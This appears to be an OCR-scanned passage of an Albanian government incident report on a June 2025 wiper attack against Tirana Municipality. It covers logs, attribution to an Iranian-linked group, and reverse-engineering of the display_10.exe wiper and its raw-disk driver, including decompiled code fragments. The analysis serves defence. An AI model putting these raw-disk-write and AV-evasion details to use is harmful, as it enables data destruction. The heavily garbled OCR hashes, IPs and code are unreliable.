emip=146.70.246.105
Famip=146.70.246.105
framip=146.70.246.105
emip=146.70.246.105
amip=146.70.246.105
fremip=14670.245.105
Femip=146.70.246.105
Femip=145.70.245.105
pemip=146.70.246.105
Femip=146.70.245.105
f'(mip-'l'éls.'?_?_é.ﬁé.}j?
remip=188.220.66.237
remip=188.229.66.237|
remip=188.229.66.237)
remip=188.220.66.237)

srecountry=Romania
srccountry=Romania
sreoountry=Romania
Srccountry=Romania
srocountry=Romania
srecountry=Romania
srccountry=Romania
srccountrysRomania
srecountry=Romaria

dst_host=N/a
dst_host=N/A
dst_host=N/A
dst_host=N/A
dst_host=N/A
dst_host=N/A
dst_host=h/A
dst_host=N/A

srcoountry=Romania
y=Romania
srccountry=Romania
srccountry=Romania
Srcoountry=Romania
srecountry=Romania
srecountry=Romania
srecountry=Romania
srccountry=Romania
srecountry=Romania
srecountry=Romania

srcooumnd
dst_host=N/&
dst_host=N/a
dst_host=n/a
dst_host=N/A
dst_host=N/A
dst_host=N/A
dst_host=N/A

srccountry=Romania
'sr(m'n.inu;y—kln_ tslamic Republic of
srccountry=iran, islamic Republic of
sreoountry=iran
srccountry=iran
srcoountry=ran,

istamic Republic of
Istamic Republic of
tslamic Republic of

Figura 52: Loge nga aksesimet e SSL/VPN

Eventet ¢ mévonshme
serverave manualisht,
Directory drejt té gjithé pérdoruesve.

A A Gtress

G905

Description
Account Name
Account Domain
Logon 1D:
Linked Logon 1D:
Metwork Account Name:
Network Account Domain: =
Logon GUID:

Ox152cd167
(7]

Process Information;

Process ID: 0x0
Process Name:

Network Information:
Workstation Name:
Source Network Address:
Source Port: 63490

2024

o V15553 P
025

) information e
115649 PM

LTl

A service was installed in the system.

Service Name: RAW 10

Service File Name: C\Windows\TEMP\\rawio.sys I
Service Type: kernel mode driver

Service Start Type; demand start

Service Account

LE18 | Microsoft- Windies Login

S | Service Contiol Mad None

I Enformation 7045 - Service Control Mar None
| Waming EN9/2025 115548 PM 6038 LeaSrv MNone
Description

4, Audit Success 4624 Microsoft-Windows Logon /A
B, Audit Success B19/205 4824 | Microsoft-Windows Logon N7
B, Audit Suceess 619/2025 4524 Microssft-Windows Logen /A
S, Audd Success 61872028 4534 | Microsoft-Windows Logoff NrA

{00000000-0000-0000-0000-000000000000)

M

\5-1-5-21- 1698031034

tregojné pér akesin n€ vSphere té aktoréve keqdashés dhe fshirjes sé
si dhe ckzekutimin e skedarit keqdashés display _10.exe nga Active

Figura 53: Ekzekutimi i skedarit display _10.exe dhe krijimi i servisit RAW 10

Skedari rezulton té€ jet€ ekzekutuar me daté 19.06.2025 né orén 23:59. Komandat vinin nga

pérdoruesi: admin, me [P

IP e cila i pérket AD (Active Directory).

Theksojmé se pérpara se Active Directory té merrej né shqyrtim, ky server ishte rikthyer pérmes

Adresa: Rruga “Papa Gjon Pali II” nr.3, Tiran

; www.aksk.gov.al

info@aksk.gov.al; Tel./Fax: 04 2221 039

35



backups, duke mos shfaqur loge té aktivitetit pas orés 20:00 té datés 19.06.2025.

Me daté 20 Qershor 2025, né orén 06:22 aksesohet vSphere nga serveri i Active Directory, ku mé
pas jané fshiré manualisht serverat e konfiguruar mbi vSphere.

X

BITe, 550, Lopintuccesy

nistratoegvsphere, localg IR

to log In: java.lang.SecurityException:

geHand ]l erExnces
2%, "cliont™;

gesage failed received endpoint check™,”
imestamp™ 1 "06/28/2025 07148152 UTC
ssageHandlerfxception: 5, message failed received endpoint check™

“n.-’:.“."lie-\t“m‘time-r.uw":“no.fjo.f.liu’: 87157115 UTC™, "descripti
ssageHand Lor e« RRGGGG sage Falled racslus

2015-06- 20707157115 .4
org. opensaml  sessagln
20525 -06-20T08;: 131441
logged in with r

polnt check™, “e
“timestamp® i "6 20/2025 @R:13144 UTC

sphiere. local™, “client”
SINFOT, "k

ventSeverity

s ( "1 "adwinistrator@sphere. loca
logged in with res code o teventsoverity® 1 “INFOT, "type’
203506 10T18: 14156, 4437 | “wser™:“adwinistratorivschere. local® . “client

= (%) : i a A CTIONS
O R 8 2 & fortimail B & & | actonse
rJ veenter bashkialocal Summary Manitor Configure Permissions Datastores Networks Updates
[ Patacenter

or later U L

O oHz

[[7 BT-Cluster
0 10.2
[] 10.20160.6
2 AD 2016 _1_BA

EMOD!
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@ g
(% AD 2016_2_BA STORAGE E

| 2587168

(1 CKAN-Ubuntulé

1 CloudDB sunch Remate Cansole

(11 Cpanel-BT

(1 DKAN-CentOs (2)

11 ExchO1-Rest S

fortimsyl
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(% PRTG_Server
CPU 1 CPU(s k tine
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Memaory Edit Nc
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Custom Attributes ~
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G WsUS Attribute Value
_ Wlard dick 5 26N 0 A

Figura 55: Demostrimi fshirjes manuale té serverave - shképutur nga publikimi Homeland
Justice né Telegram

3. Inteligjenca me burim té hapur (OSINT)

“Homeland Justice” postoi né llogariné e tij né Telegram, se institucioni Bashkia e Tiranés tashmé
éshté viktimé e njé sulmi ofensiv. Aktori kércénues ka kryer njé sulm kibernetik duke fshiré
infrastrukturén dhe duke paralizuar ¢do shérbim t€ Bashkisé sé Tiranés. Ekspertét e AKSK né
bashképunim t€ ngushté me ekspertét e sigurisé s¢ AKSHI (Agjencia Kombétare e Shogérisé sé
Informacionit) , menjéheré nisén kérkimin pérmes inteligjencé€s me burim t€ hapur (OSINT) dhe
platformave inteligjente pér t€¢ mbledhur informacione né lidhje me gjurmét e aktorit kércénues,
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mjetet dhe aktivitetin e tij. T¢ dhénat e gjetura pérmes OSINT nuk jan€ informacion i ndaré€ nga
partnerét.

Druidfly éshté emértimi i pérdorur nga Symantec pér grupin e kércénimit STORM-0842.

Homeland Justice

Ma t Portal | Login Mode

lssh@10.201502

FusionCube Center  |ssh@10.201.502
002 8L

10.201.50.2: 2844 Msporial
lssh@10.20150.10

Buider WinSCP@102015010

Jhitp:110.20.50.10 : =

http:110.201.50.5 5 T ; ;

The beloved Bashkia of Tirana is ours now
Al thiz creepy corruption for 2 simple municipality?! Unbelievable!
This fs what happens when most of your budget |s dedicated to the
wlfare of MEK Terrorists.

Figura 57°: Nxjerrja e té dhénave té Bashkisé Tirané’

Konsola e menaxhimit t€ serverave vSphere Client:

2 https://t. me/JusticeHomeland1/522
4 h‘EBs:fft.me!JusticeHomelandlf52]
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5 dlarse, Tirm e st dowee.

Figura 58: Fshirja e serverave té demostruar®

Mé daté 20 Qershor 2025, né orén 15:11, Symantec Threat Intelligence publikoi njé analizé té
ndar€ né tre pjesé pérmes platformés X ,ku jepet njé pasqyré teknike e elementéve té pérdorur né
sulmet e natyrés shkatérruese, duke pérfshiré rastin e Bashkis€ Tirané. Pikat kryesore jané si mé
poshté:

1. Pérdorimi i njé certifikate digjitale té vlefshme (ose té¢ komprometuar)
a. Subjekti i certifikatés: Tengku Zamzam
b. Numri serial: 1b93f18aa3dd76ed405091591e3cf60a
c. Thumbprint: fd11232c8021ca821946a3a0a4c4494049ff8e¢69

Aktorét kércénues kané pérdorur njé certifikaté legjitime pér té nénshkruar komponenté té
malware-it (wiper), duke e béré kodin e tyre t€ duket i besueshém pér sistemet operative dhe pér
zgjidhjet e sigurisé. Kjo taktiké rrit mundésiné e anashkalimit t€ kontrolleve t€ mbrojtjes, pérfshiré
antivirusét dhe sistemet e parandalimit t€ ndérhyrjeve.

2. Pérdorimi i driver-it “rawio.sys” dhe shérbimit té lidhur “RAW_10”

e Emri 1 skedarit: rawio.sys

SHA-256:
06b7a3cd3266449294eeefb957965ea9113548046969555eleb1a7f9b51515880

4 h'ctES:fx’t‘mez’.lusticel-lomcland]f524
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e Vendndodhja: Dosja %TEMP% e sistemit
Ky éshté njé driver i nivelit t& ulét g€ mundéson qasje t€ drejtpérdre;jté né disk (raw disk access),
duke lejuar fshirjen e t€ dhénave né nivel sektori, pértej kontrollit té sistemit t&€ skedaréve. Njé
veprim 1 till€ eliminon mundésiné e rikuperimit t€ t€ dhénave né ményré konvencionale.

3. Objektivat e drejtpérdrejté té shkatérrimi.

Wiper-i synon né ményré specifike kategori té caktuara té skedaréve qé pérfagésojné vleré té larté
operacionale dhe institucionale, si:

e Backup-e dhe dokumente té€ réndésishme: .doc, .xls, .ppt, .pdf

e Baza t€ dhénash: .sql, .mdb, .mdf

e Skripte dhe skedaré sistemesh: .psl, .sys, .dll

e Arkiva dhe kopje rezervé: .zip, .rar, .7z
Kjo qasje tregon qé objektivi final i sulmit nuk ishte vetém ndérprerja e pérkohshme e funksioneve,
por shkatérrimi total i t€ dhénave dhe paaftésimi afatgjaté i infrastrukturés s€ viktimés.
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Threat Intelligence ’
Mailware was signed by a legitimate certificate probably stolen by the
attackers:

Subject Name: Tengku Zamzam
Serial number: 1b83M183a3dd76ed405091591e3cf60a
Thumbprint: fid11232c8021ca821946a3a0a4c44940491T8e69 (2 of 5)

Threst Intelligence -

The wiper drops the Raw Disk Access system driver (SHA256:
06b7a3cd3266449294eeefb057965ea311354804696955e1eb1aftob515t6
880) to the TEMP path with the name “rawio.sys™ and starts it as a service
named RAW 0. (3 of 5)

Threat Intelligence -
Wiper seems to target the following extensions:

Zip
rar

Jso
pst
.ost
Jak
sql
.dbf
.mdb
.msg
.mdf
doc
Xls
-ppt
pdf
dll
.psi
5Y5
Jz
.backup (4 of 5)

Threat Intelligence - :

Druidfly has been mounting attacks on Albanla since 2022. Previous
attacks left messages directed against the Mujahideen E-Khalg, an Iranian
dissident organization based in Albania. (5 of 5)

Figura 59: Postimi i Inteligjencés sé Symantec’

3 https://x.com/threatintel/status/1936049254432231444
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4. ATRIBUIMI - Inteligjenca e kércénimeve kibernetike

Grupi iranian i dyshuar (i njohur gjithashtu si Red Sandstorm (STORM-0842) nga Microsoft,
Void Manticore nga Checkpoint, APT34 nga FireEye, Druibfly nga Symantec dhe shpesh i
ndérlidhur me emra si Charming Kitten ose Cobalt Mirage nga CrowdStrike) éshté njé grup
kércénimi kibernetik me lidhje t€ mundshme shtetérore, qé operon kryesisht né interes té shtetit
iranian. Q€ nga viti 2022, ky grup ka ndérmarré€ sulm pas sulmi kundér infrastrukturés s€ TIK-ut
né Shqipéri, me fokus t€ vecanté ndaj entiteteve q€ mbéshtesin ose strehojné anétaré t€ Organizatés
s€ Muxhahedinéve té Popullit té Iranit (MEK) — nj€ grup opozitar iranian q¢ ka seliné€ e tij né
Manéz, Durrés.

Bazuar né analizat € kompanive t€ shumta t& sigurisé dhe evidencat teknike publike, atributimi
ndaj kétij grupi éshté i njé koefidence té larté, duke marré parasysh:
e pérdorimin e mjeteve, teknikave dhe procedurave ndaj infrastrukturave té ngjashme me
fushata t€ méparshme t€ lidhura me Iranin,
e pérputhjen kohore dhe tematike té sulmeve me interesat politike té Iranit,
o pérfshirjen e narrativave té koordinuara propagandistike né rrjete sociale, né emér té
“Homeland Justice”.

Sulmet e kétij grupi kané gené:
» Destruktive, duke pérdorur malware t&€ llojit wiper pér té fshiré infrastrukturén IT t&
institucioneve shtetérore shqiptare;
e Té shoqéruara me defacement té fageve zyrtare dhe shpérndarje t€ mesazheve politike
pérmes kanaleve né Telegram nén emra t€ tillé s1 “Homeland Justice”;
o Té dizajnuara pér té€ destabilizuar vendin, pér té treguar déshtime né siguri, dhe pér té¢ dhéné
mesazhe kércénuese ndaj mbéshtetjes s¢ MEK.

Grupi pérdor teknika té avancuara si:
e Wiper-a t€ nénshkruar me certifikata t€¢ vjedhura (si rasti me certifikatén “Tengku
Zamzam”).
e Driver-a t& nivelit t€ ulét si rawio.sys pér t€ fshiré t&€ dhéna né nivel sektori té hard diskut.
e Targetim i file-ve sensitive, pér té pamundésuar rikuperimin dhe rindértimin e sistemeve.

Ky grup kércénimi éshté i lidhur direkt me Ministriné e Inteligjencés Iraniane (MOIS), i njohur
pér sulme shkatérruese dhe operacione ndikimi.

Operon né ményré ndérkombétare: né Izrael (persona “Karma”, me njé wiper té quajtur BiBi) dhe
né Shgqipéri (persona “Homeland Justice™)®.

6 https://research.checkpoint.com/2024/bad-karma-no-justice-void-manticore-destructive-activities-in-israel/
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Albania [2022) Israel [2023-2024)

Storm-0861 ~ Scarred Manticore
Actor #1 Initial Access CVE-2019-0 CVE-2019-0604
r #1 Tools ell Liontail
r #1 A
Actor #1 0 Email Exfiltration Email Exfiltration [LionHead]
Storm-0842 ~ Void Manticore
Provided by Actor #1 Provided by Actor #1
. CL Wiper] + Ra ware Wiper [BiBi Wiper]

Leaking Persona Homeland Justice Karma

Figura 60: Teknikat e pérdorura ndaj Izraelit dhe ndaj Shqipérisé

OélRig/APTI4
DEV-0BE1 NA
DEV-0186 Intrising Divisor
DEV-0133 Lycaum
DEV-0BA2 LI

3 s -0 = Gained Initial access and
Elfillawd Dau
- Deployed Ransomware and wiper
= Data Exfiltration
134 - Scanned for vulneratile systems in
Iﬁﬂ m‘r:ﬁh—urlum

Storm-0842 ¥
@ i

315 July 2022 AKSHI cyber-attack Ptk ity b
Indlial Access & Post

L - Dispiay TOe W per al

13| 9Sep 2022 State Police cyl:er anacr.
3 23 Dec 2022 Credins Bank cyber-attack |
| 25 Dee 2023 ONE telecom cyber-attack |
25 Dec 2023 Partament of Albania cyber-attack
| 1Feb 2024 INSTAT cyber-attack |
*( Recannaissance by the end of Feb 2024 |

Municipality of Tirana

-

Figura 61: Struktura e grupeve té sponsorizuara nga shteti Iranit

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info(@aksk.gov.al; Tel./Fax: 04 2221 039

42



5. Analiza e skedarit keqdashés Display 10.exe

Skedari display 10.exe &shté nj¢ skedar i tipit i ekzekutueshém i shkruajtur né gjuhén C/C++, i cili
pérmban njé certifikaté legjitime, pra €shté€ i nénshkruar dhe verifikuar zyrtarisht me emrin Tengku
Zamzam. Falé késaj, ky skedar béhet edhe mé i besueshém si njé skedar legjitim.

ile name

Ci\Users\flare\Desktop\display_10.exe

ile type File size

PEG4 434.87 KiB

YCan Endianness

Automatic LE

v PE64
Compiler: Microsoft Visual T/C++{2022+)[-]
Linker: Microsoft Linker{14.44**)[GUI64 signed]
* Overlay: Binary
Ceriificate: WinAuth(2.0)[PKCS #7]

Mode

64-bit

Security Details
General Compatibility
Signature list

Previous Versions

Digital Signatures

Name of sign.. Digestalgont..

Tengku Zamz.. sha256

Timestamp
Monday, June 16,...

Cretails

Figura 62: Gjuha e kompiluesit dhe certifikata

Gjaté analizés sé€ kodit u evidentuan disa funksionalitete t& kétij skedari keqdashés.

FUN _1400294c0 &shté njé funksioni i cili:

e Kontrollon privilegjet e procesit aktual (si SeShutdownPrivilege).
e Krijon njé file né disk né njé vendndodhje té caktuar né desktop.
e Pérgatit njé listé skedarésh me emra né dukje si module DLL, EXE, sys, piz, gif, rar, 27,

tar etj.

e | pérpunon kéto skedaré me funksione t€ tjera té brendshme si FUN_14002ac80,
FUN_140027¢58, FUN _14002a670, FUN_14002b554.
e Ekzekuton njé kontroll té pajisjeve/diskut, dhe evidentohet vargu i Kkaraktereve

C:\Windows\System32\drivers\beep.sys

e Né fund, pérpiqet té€ fitojé privilegjin pér té mbyllur ose rindezur sistemin, dhe nése ia

del, thérret ExitWindowsEx.
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-4, (FOWORD) & nl_SE0) 3

+ (LPOVERLAFPPED) On

be

o UMANDILE) O

« 311 =

SUBLELL IZEXTS1E(

Figura 63: Funksioni F UN_1400294c0

Funksioni FUN_140025cc8 merr path-in e skedarit t€ pérkohshém té sistemit (Temp) népermjet

GetTempPathA(0x104, local_118);
Ky funksion i Windows merr path-in e pérkohshém, p.sh.:

C:\Users\<username>\AppData\Local\Temp\ dhe ndérton

C:\Users\<username>\AppData\Local\Temp\\rawio.sys

njé

varg karakteresh

Kjo na jep idené qé kemi té béjmé me njé skedar té llojit driver né njé direktori jo t&€ zakonshme.

undefined (%)

GatTempPatha (

W o = b W H
E
}
{

0x104,local 118);

strncpy( (char “Yparam 2,local 118,0x104);

L0 strncat((char *)param 2,"\\",0x104);

Ll strncat((char ‘}param_El":awi:.eys",&xiaé}d
L2i return param 2;

L3}

L4

[32) FUN_140025ccB (undefinedf param 1,undefined (*param 2

Figura 64: Evidentimi i rawio.sys né direktoriné temp

Nése rikthehemi né funksionin e méparshém FUN_1400294c0, pikérisht kétu ndodh krijimi i kétij

skedari rawio.sys .
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1. pvVarl0 = CreateFileA(local 158,

2 0x10000000,  // GENERIC_READ | GENERIC_WRITE
3 0,

4, NULL,

5 2, // CREATE_ALWAYS

6 0x80, // FILE_ATTRIBUTE_NORMAL

7 NULL);

Krijohet rawio.sys me té drejté shkrimi/leje pér lexim-shkrim.
Nése ekziston mé paré, fshihet dhe krijohet nga e para.

NEé pjesén e kodit si mé poshté shkruan né skedar 0x2D88 byte nga bufferi &DAT_140065390.
Kjo éshté pérmbajtja e driver-it rawio.sys g€ po krijohet n€ disk.

if ((pvVarlQ == (HANDLE)OxEE£E£EEEffEEEELELE) ||

pvvarlo, 0065350 ] 0x2d88, (LPDWORD) &local 5£8, (LPOVERLAPPED) 0x0) ,

(int) local 5£8 1= 0x2d88)) {
}

CloseHandle (pvVarl0);

Figura 65: Krijimi i skedarit rawio.sys

ME poshté né kété funksion emrat dhe prapashtesat jané t€ ruajtura si vlera hexadecimal. Po, kjo
pjesé e kodit, tregon njé grup emrash té skedaréve me prapshtesa té zakonshme si .backup, .config,
.gif, .pst, .ost, .bak,exe,dll etj. Té gjitha kéto zakonisht jané objektiva té ransomware apo
programeve t€ tjera keqdashése.

Mg pas pérgatitet pér t& pérséritur mbi strukturén g€ pérmban kéto emra.

Kjo do pérdoret mé voné pér té:
e Skanuar skedarét né disk
o Kérkuar né disqe lokale pér skedar qé pérfundojné me kéto prapashtesa.
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Decompiie: FUN_1400294C0 - (OISpiay_lu.exe)

\D}
]
"
g
-~
=
oy
—
[=]
"
@
~J
3]
o
o
2]
o
o
o
H
o
(7]
[
o
—

-

auStack 573 = SUB1611(ZEXTA16(0),5);

~1 ]
a

lecal 578 = (undefined [5])0x7473702s;
local 548. 8 4 = Oxf;

local 548. 08 =4;

uStack 53c = U;

stackOxfffffffffffrffaad = SUB1611(ZEXTB16(0),5);
local 558. 0 5 = Ox74736f2e;

local 528 = 4;

uStack 524 = 0;

uStack 520 Oxf;

ugtack Slc = 0;

local 533. 5 11 = SUB1611(ZEXTB16(0),5):
local 533. 05 = 0x6b61622s;
stackOxfFFFFFFFFFFFFO40 = (LUID)local 518;

i 2
local €33 = (undefined (%) [32]})local Sb8;
FUN_14002ac80( (undefined (**) [1&])local 338, (undefined (**) [32])lccal £38);
ppvvarlS = (LPVOID *)local 518;
1var20 = 5;
do [

Figura 66: Prapashtesat e skedaréve

ME poshté jepet njé pjesé kodi né ményré manuale pér t€ ndértuar njé path né wchar_t (Unicode
string).

1. local_268._ 0 1 ='C'; //fillimii stringut
2 v
3.uStack_250._3_1_="\; //karakteret vazhdojné
4. ..
5.uStack 24c. 3 1_='p"; //"beep"

6. local 248 = 0x7379732e;  // ".sys" (me ané t& vlerave hex)

Si pérfundimi krijohet path wchar_t *path = L"C:\\Windows\\System32\\drivers\\beep.sys"
ME pas vijojné té kérkojé drive-t logjiké né sistem, si C:\, D:\, etj.

Pér ¢do drive té zbuluar, pérdor disa struktura dhe funksione pér t€ béré analizé ose pérpunim
té t€ dhénave né ato drive.
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FUN_14002ab08 ( (LEVOID *)local 5d8);

0 < (ulonglong) (((longlong)local 3b8 - (longlong)local 3c0) / 0x18))

local 3c0 + local S5e0 * 3;

548 = ZEXTH16(0);

DVar7d =|GetLogicalDrives{);
local 6 = Ux4l;

while (au r2 = _local 5d8, bVar4 = local €47, (char)local €47 < "[") {
if ((DVar7 >> (({int) (char)local €47 - Ox41U & Oxlf) & 1) != 0) {
_local 638 = ( TOREN PRIVILEGES)ZEXTB1E(0);
local 628 = 0;
local &20 =

pauVard = FUN_140028040 ({(undefined (*)

)i

n o=

local €18 = *{undefinad (%) [16])*pauVar9;

Figura 67: Kérkimi i disqeve

Funksioni FUN_14002917c:

Lexon cdo file dhe folder né njé path té caktuar.

Nése gjen ndonjé file qé pérputhet me njé listé emrash (filtra), e ruan até né njé listé.

Nése gjen njé subfolder, futet thellé né té. I gjithé ky operacion ndodh me kujdes pér menaxhim
manual t&€ memories, gjé g¢ tregon se éshté pjesé e skedarit keqdashés.

pauvar? = * (undefined (**) [32])*param 1;

€ = param 3;

1
EUN_lﬁDGEBUb4({undefined (*) [32])local laB,param 2,param 3,pauVard,

*{ulonglong *) (*param 1 + 0x10) , (undefined (*) [32])&DAT 14005£2b8,2);

lpFindFileData = (LPWIN32 FIND DATAA)&local 168;

FindFirst¥Filel ((LECITR) lpFilsName,lpFindFileDa

iFile |= (HANDLE)OxffffffEfffffffff) |

if ({loecal 13Ol d= *.*) ||
1

((loeal 13e[1] 1= "\0' && ((local 13c[1] = ".”

local 13c<[2] = *"\@")))))) {
3

1]
Hh
gy, -
My —
e
M -

L& (* (ulonglong *) (*param 1 + 0x10) = Ox7££££ff

Figura 68: Leximi i skedaréve dhe direktorive

Funksioni FUN_140025d40

H
Hh
I
—

Ky funksion:

1. Hap Service Control Manager me OpenSCManagerA(NULL, NULL, 2) (akses pér
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krijim dhe modifikim t& servisi).
2. Krijon njé service té ri té quajtur RAW_IO me CreateServiceA(...), dhe si path té
executable-it pérdor param_1 (parametér g€ vjen nga jashtg).
RAW_IO &shté emri i servisit (i dyshimté).
param_1 &shté path i executable-it ose driver-it qé do té ngarkohet si service.
3. Starton servicin me StartServiceA(...).
a. Nése startimi nuk ka sukses por GetLastError() == 0x420
(ERROR_SERVICE_ALREADY_ RUNNING), e konsideron gjithsesi sukses.
4. Nése déshtojné disa hapa, ¢ kontrollon nése RAW IO éshté krijuar mé paré me
OpenServiceA(...).
5. NEé fund, kthen 1 nése suksesshém, 0 nése jo.
param_1 &éshté rruga e skedarit g€ do t€ pérdoret si executable pér servisin.
Pra, n€ rastin konkret driver rawio .sys n do t€ jet€ driveri rawio.sys i krijuar né€ direktorin€ temp.

Decompile: FUN_140025040 - (display_10.exe) 7|

BOOL BVarl;
DWORD DVarZ;

SC_HANDLE h3CManager;
83C_HANDLE p=
undefined *puVar4;
FILE *pFVars;
undefinedB uvVare;

r = OpenSCManageri ((LEPCSTR) O0x0, (LPCSTR) 0x0, 2);

SC HANDLE)Ox0) {

L?”Hﬁnﬁj%rl"RAW_IG","RAW_iG“Iﬁx;DGED,L,?,Z,param_i,(LPCSTR)ﬁxﬁ,

ager

=|CreateServicei

(LEDWORD) 0x0, (LBCSTR) 0x0, (LBPCSTR) 0x0, (LPCSTR) 0x0) ;

if (p3Varl |= (SC HANDLFE) Ox0) {
BVarl = BtartServicel] (psvarz, 0, (LPCSTR *) 0x0);
if ((BVarl 1= 0) || (DVar2 = GetLastError(), DVar2 == 0x420)) {
WWare = 1;
}
CloseServiceHandle (p3Var3);
ClaseServiceHandle(:S?Hana;ir);
return uvVaré;

puVar4 = FUN 140035634 (1) ;

Figura 69: Krijimi i servisit keqdashés RAW 10O

Funksioni FUN_14002b620 &éshté funksioni mé kritik i analizés. Ai pérdor njé tekniké pér shkrim
té drejtpérdrejté né disk, pérmes njé driver-i té quajtur sectorio.sys, pér t€¢ modifikuar sektoré
té diskut né nivel té ulét, pér t€ manipuluar boot sector ose mbishkruar skedaré .exe/.dll si pjesé
e njé tekniké "wiper" pra né shkatérrimin e t&€ dhénave.
Ky funksion pérdor kété driver (sectorio.sys) pér té kryer njé¢ IOCTL (Input/Qutput Control)
qé:

e Mundéson shkrimin direkt né sektorét e diskut (shumé e rrezikshme).

e Kalon mbrojtjet e Windows pér shkrime né¢ MBR/Volume Boot Record ose direkt né
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skedaré t€ mbrojtur.
Bypass-on endpoint protection, duke shmangur shkrimin pérmes API-ve t&€ Windows-it.

Decomplle; FUN_140020620 - {display_10.exe)

L TG R, L e T B, T B T o

longlong 1va

undefinsdd uvars;
undefined local resld:

undefinedd us

undefinedd u3
undefined us 1
LPSTR local_128 [2];

CHER local 118 [272];
3

local reslé = param 3;

Gx0

Vi

if (hDevice = (HANDLE)OxffEEfffFEEfefresre) {
FUN_14004bcal {(undafinad [*) [321)01cca] 114,0,0x104);

GetFullPathNameA {"ssctoric.sy=s", 118, local 128):

N o e

+ (LPSECURITY ATTRIBUTES)OxQ,3, 0xE
goto LAB_14002b7cd;

e = CreateFileA("\\\\.\\2ectoric", Bx=0000000, 3, (LPSECURITY_ ATTRIBUTES) 0x0, 3, (x80, (HANDLE)

30, (HANDLE) O0x0);

Figura 70: sectorio.sys

Gjaté analizés u evidentua dhe njé pjesé kodi né njé funksion pa emér ku jané t€ koduara njé séré
LuCallbackProxy.exe ccScHvScht.exe SmSc.exe (nga

emrash té skedaréve si
0x6578652e636d53) AccApp.exe SysmSrv.exe SysmEAFE.exe IR.exe SysclmScvs

Kéto jané té gjitha emra té lidhur me Symantec/Norton/Security Suite exe.

Kjo pjesé kodi €shté projektuar pér té anashkaluar mbrojtjen e Symantec duke pérdorur emra té
proceseve legjitime té tij, gjé qé mund té€ ndalojé€ inicializimin e moduleve mbrojtés (pér shembull,
nése Symantec pérdor kontroll me emra procesesh pér self-protection).
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Funksioni FUN_14002b390 éshté funksioni qé pérdoret nga skedari keqdashés pér té komunikuar
me driver-in e vet sectorio.sys dhe pér té ekzekutuar operacione RAW né disk (lexim/shkrim
drejtpérsédrejti né sektorg). :

Zgjedh volumin né bazé té drivelndex
Ven:ﬁkon qé volumi éshté NTFS (shurmca ¢ sistemeve Windows).
Hap diskun né RAW I/O (anashkalon sistemin e skedaréve dhe shumicén e mbrojtjeve
AV).
Paketon madhésiné/offset-in (local e0) dhe e dérgon te driver-i pérmes IOCTL-it té
personalizuar.
Driver-i sectorio.sys ckzekuton shkrimin/leximin fizik dhe kthen adresén reale té sektorit
té prekur.
Pérdor IOCTL jo-standard (0x560020) — kérkon ekzistencén e sectorio.sys.

o Shkruan né disk né nivel sektori — mund té fshijé, t€ démtojé ose té fshehé t&

dhéna pa u kapur nga AV-té.

Verifikon NTFS pér té siguruar pérputhje me strukturén e disqeve Windows.
Mbéshtetet né path-et “\.\X:” — tekniké klasike e malwaréve/wiper-ave pér té
anashkaluar API-té e high level

Funksionaliteti kryesor i kétij skedari éshté shkatérrimi i skedaréve té sistemit operativ t€ windows
dhe i skedaréve t€ veté pérdoruesve. Pra procesi q€ ndodh funksionon né formé té tillé: skedari
legjitim i windows beep.sys pérdoret si input pér té mbishkruar skedarét népérmjet driverit
rawio.sys qé né fakt &shté sectorio.sys. Roli i driverit né kété rast funksionon si njé Proxy, nga ku
1 gjith€ procesi i mbishkrimit nuk ndodh nga veté skedari i ekzekutueshém por nga veté driveri.
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Skedari i cili pérdoret si mbishkrim &shté skedari beep.sys i cili pérdoret si parametér pér té
mbishkruar mbi skedarét e veté sistemit operativ.

6. Analiza e skedarit rawio.sys

Skedari display_10.exe kérkon té drejta administratori pér t€ funksionuar, pasi qé€ té krijohet njé
servis i tipit kernel do té duhen t€ drejta administrative.Ajo ¢fare e bén kété sulm t€ suksesshém
éshté certifikata legjitime q€ 1 &shté nénshkruar. Nuk béhet fjalé pér certifikatén e skedarit
display_10.exe por pér certifikatén e rawio.sys pasi Ky &shté skedari i i cili pércakohet si binary
executable né€ servisin.
Né njé sistem modern Windows x64 me Secure Boot / DSE té aktivizuar,
sectorio.sys pa certifikate nuk mund té ngarkohet si driver kernel, edhe pse mund té
regjistrohet si shérbim. Do té ngarkohej vetém nése sulmuesi:

e caktivizon Driver Signature Enforcement (Test Mode, Safe Mode me Disable integrity

checks),
e pérdor njé metodé “bring-your-own-vulnerable-driver”,
e ose €shté né njé sistem 32-bit / shumeé i vjetér ku nénshkrimi nuk aplikohet

> C\Users\fia re'-._ﬁes’mp'l._ra Wio.5ys

Fite type File size

PEGS 11.38 KiB

rawio.sys Properties
Scan Endiannass

AR General Digital Signalures  Security Details  Previous Versions
Automatic LE

v PEB4 Signature list

Compiler: Microsoft Visual C/C++(2008 SP1)[-] | . : PR
Linker: Microsoft Linker{9.0}] Driver64 signed] :
: Atheros Communications Inc. shal Not available
* Overlay: Binary

Certificate: WinAuth(2.0)[PKCS #7]

etails

Figura 72: Certifikata e rawio.sys

Nése béjmé query mbi serviset e windows me emrin RAW IO do evidentohet dhe pathi i
rawio.sys 1 cili &shté né pathin e temp té pérmendur dhe mé pare.

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
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Bm Command Promptink

SERVICE_NAME: RAW_IO
TYPE
START_TYPE

ERROR_CONTRO

TAG

DISPL

Figura 73: servisi i rawio.sys

Gjaté evidentimit dhe kérkimit té kércénimeve u evidentua repository né github i cili u pérdor pér
krijimin e kétij driveri https://github.com/jschicht/Sectorlo/

Nga kodi i shkruar n€ gjuhé C u kuptua se ky driver Windows x64 (kernel-mode) ekspozon njé
objekt té quajtur \\Device\\sectorio — \\DosDevices\\sectorio dhe u lejon proceseve né “user-
mode” t€ béjné lexime/shkrime RAW né sektorét e ¢do disku ose ndarjeje (partition) qé ekziston
né sistem.

1. WCHAR g_szDeviceName[| = L"\\Device\\sectorio";
| 2. WCHAR g_szDosDeviceName[] = L"\\DosDevices\\sectorio";

IoCreateDevice(..., &szDeviceName, FILE_DEVICE_UNKNOWN, ..., &gp_DevObj);
IoCreateSymbolicLink(&szDosDeviceName, &szDeviceName);

sectorio.sys ckspozon njé pajisje \\.\sectorio qé pranon njé¢ IOCTL (0x560020) pér té
lexuar/mbishkruar sektoré fiziké né ¢do disk/partition NTFS. Driveri bén enumerate té té gjitha
objekteve té disk.sys dhe ruan pér secilin madhésiné e sektorit. Cdo proces user-mode qé hap
pajisjen mund t€ thérras€ IOCTL_SECTOR_WRITE dhe t& kryejé shkrim té drejtpérdrejté né
disk (RAW) pa asnjé verifikim té privilegjeve, duke anashkaluar mekanizmat e integritetit té
